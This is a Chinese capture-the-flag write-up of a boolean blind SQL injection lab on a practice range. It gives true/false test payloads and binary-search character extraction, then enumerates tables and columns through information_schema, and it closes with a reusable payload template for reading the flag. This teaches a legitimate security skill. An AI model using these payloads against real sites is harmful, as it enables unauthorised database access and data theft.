白帽江湖实战靶场SQL注入篇:SQL注入 - 布尔盲注(无防护)

SQL注入:布尔盲注(无防护)靶场通关记录

靶场地址:白帽江湖 SQL注入:布尔盲注(无防护)

说明:本文仅记录在该授权靶场中的测试过程,用于学习布尔盲注的基本思路。

1. 页面初探

1.1 打开靶场后,页面标题是"StarMail - 注册检测",页面功能直白:

  • 输入用户名
  • 点击"检测可用性"
  • 页面返回该用户名是否已注册

页面还直接提示了接口:

text 复制代码
query.php?username=xxx

这意味着真正的判断逻辑在后端接口 query.php,参数是 username

1.2 关于 <script>

<script>部分源码如下:

页面源码里可以看到前端调用逻辑:

javascript 复制代码
var r = await fetch('query.php?username='+encodeURIComponent(u));
var d = await r.json();
res.className='result '+(d.exists?'taken':'available');
res.textContent=d.exists?'❌ 用户名 ['+u+'] 已被注册':'✅ 用户名 ['+u+'] 可以使用';

也就是说,前端只是把后端返回的 exists 字段显示出来。

2. 先确认正常返回

先访问正常接口:

text 复制代码
https://range.baimaojianghu.com/lab/32000/query.php?username=admin

返回:

json 复制代码
{"exists":true}

说明 admin 确实被注册。

再试一个带单引号的输入:

text 复制代码
https://range.baimaojianghu.com/lab/32000/query.php?username=admin'

返回:

json 复制代码
{"exists":false}

这说明输入被直接拼进了 SQL 逻辑里,而且没有做有效防护。此时已经具备盲注利用条件。

3. 什么是布尔盲注

布尔盲注的特点是:

  • 页面 不直接回显 数据库内容
  • 但会根据 条件真假 返回不同结果
  • 我们通过"真/假"差异一点点推数据

在这个靶场里,差异体现在:

  • exists:true
  • exists:false

这就是典型的布尔型回显信道。

4. 验证注入是否可控

构造了几组测试:

text 复制代码
admin' and 1=1#
admin' and 1=2#

关于 # 在这里的作用,需要分两层看:

  1. 在 MySQL 语法里,# 是单行注释符,可以把后面的 SQL 片段注释掉,避免尾部多出来的字符干扰语句。
  2. 但在浏览器地址栏里,# 还是 URL 片段标识符,默认不会被发送到服务器 。所以如果你真的想把它作为参数内容传过去,需要写成 %23,或者改用 --%20 这类方式。

这也是你会看到"有时不加 # 也能成功"的原因:这个靶场里,and 1=1 本身就已经足够形成有效条件,# 只是更稳一点的收尾手段,不是每次都必须有。

对应返回分别是:

json 复制代码
{"exists":true}
{"exists":false}

这一步说明:

  • 注入点成立
  • 条件真假会影响接口返回
  • 可以继续用布尔盲注推断数据

5. 盲注的核心方法

布尔盲注通常分两层:

第一层:判断长度

先判断目标字符串长度,比如:

sql 复制代码
length(database())>6

如果返回真,就说明数据库名长度大于 6。这里要注意两点:

  • 比较符号改成 >0 后仍然返回 false,通常不是"长度真的小于 0",而是你的 payload 没有按预期进入 SQL 语句,或者前后字符在浏览器里被当成了 URL 片段/特殊字符处理了。
  • 在这个靶场里,优先确认你发送的是 ASCII 单引号 ' ,而不是中文输入法下的弯引号 ',并且尽量把特殊字符都做 URL 编码。

最后将其拼接到网址中,我们可以得到如下的反馈:

最终通过二分法,我们可以得到 databse 的最终长度为 7:

第二层:判断每个字符

再用字符函数逐位判断,例如:

sql 复制代码
ascii(substr(database(),1,1))>100

含义是:

  • 取数据库名第 1 个字符
  • 转成 ASCII 码
  • 看是否大于 100

这里可以借助python编写一个脚本,只要使用暴力匹配的方式,不断二分,就能把字符一个个拼出来。

6. 先枚举数据库名

用二分法测试 database()

最终得到:

text 复制代码
vuln_db

这说明当前数据库名是 vuln_db

7. 枚举表名

通过 information_schema.tables 结合 exists(...) 或逐位盲猜,确认库中存在:

  • secret_flags
  • users

其中最值得关注的是 secret_flags,通常是 flag 所在表。

8. 枚举字段名

进一步测试 secret_flags 的字段名,发现存在:

  • id
  • flag_name
  • flag_value

这和常见的 flag 存储结构一致。

9. 提取 flag

select group_concat(flag_name,0x3a,flag_value) from secret_flags 的结果做长度判断和逐字符二分,最后直接盲注读取:

sql 复制代码
(select group_concat(flag_name,0x3a,flag_value) from secret_flags)

最终得到:

text 复制代码
flag:flag{b00l_bl1nd_b4s1c}

最终 flag:

text 复制代码
flag{b00l_bl1nd_b4s1c}

10. 本题的完整思路

这道题的流程很典型:

  1. 找到接口参数 username
  2. 用单引号测试,确认存在 SQL 注入
  3. 观察返回值只有真假差异,没有数据回显
  4. 改用布尔盲注,通过真假判断数据
  5. 先推数据库名,再推表名和字段名
  6. 最后拼出 secret_flags 表中的 flag

11. 为什么这种题适合二分法

如果一个字符可能是 32 到 126 之间的可打印 ASCII,直接逐个猜会慢。二分法能把判断次数大幅减少:

  • 长度判断:对数级
  • 字符判断:对数级

所以在盲注里,二分法往往比顺序猜测效率高很多。对于二分法不了解的同学可以参考bilibili中关于二分查找的算法课,这里不再做详细讲解。

12. 可复用的测试模板

测试注入真假差异

text 复制代码
?username=admin' and 1=1#
?username=admin' and 1=2#

判断数据库名长度

sql 复制代码
length(database())>n

判断数据库名字符

sql 复制代码
ascii(substr(database(),i,1))>n

判断表是否存在

sql 复制代码
exists(select 1 from information_schema.tables where table_schema=database() and table_name='secret_flags')

判断字段是否存在

sql 复制代码
exists(select 1 from information_schema.columns where table_schema=database() and table_name='secret_flags' and column_name='flag_name')

读取 flag

sql 复制代码
(select group_concat(flag_name,0x3a,flag_value) from secret_flags)
相关推荐
2301_780789661 小时前
2025年服务器漏洞生存指南:从应急响应到长效免疫的实战框架
网络·安全·web安全·架构·ddos
Nanhuiyu2 小时前
白帽江湖实战靶场SQL注入篇:SQL注入 - 报错注入(无防护)
web安全·sql注入·报错注入·白帽江湖
JS_SWKJ2 小时前
网闸≠防火墙:我们拆解了数据包的“物理摆渡“全过程
网络·安全·web安全
其实防守也摸鱼20 小时前
VS code怎么使用 Conda 安装预编译包
开发语言·网络·c++·vscode·安全·web安全·conda
Wyc7240920 小时前
信息安全与多媒体基础知识
网络·安全·web安全
晓梦林1 天前
Qingmei靶场学习笔记
笔记·学习·安全·web安全
晓梦林1 天前
Commit靶场学习笔记
笔记·学习·安全·web安全
AC赳赳老秦1 天前
数据安全合规:OpenClaw 敏感信息脱敏、操作日志审计、权限精细化管控方案,符合等保要求
网络·数据库·python·安全·web安全·oracle·openclaw
openKylin1 天前
紧急安全通告|Linux内核Dirty Frag漏洞(CVE-2026-43284、CVE-2026-43500)
linux·安全·web安全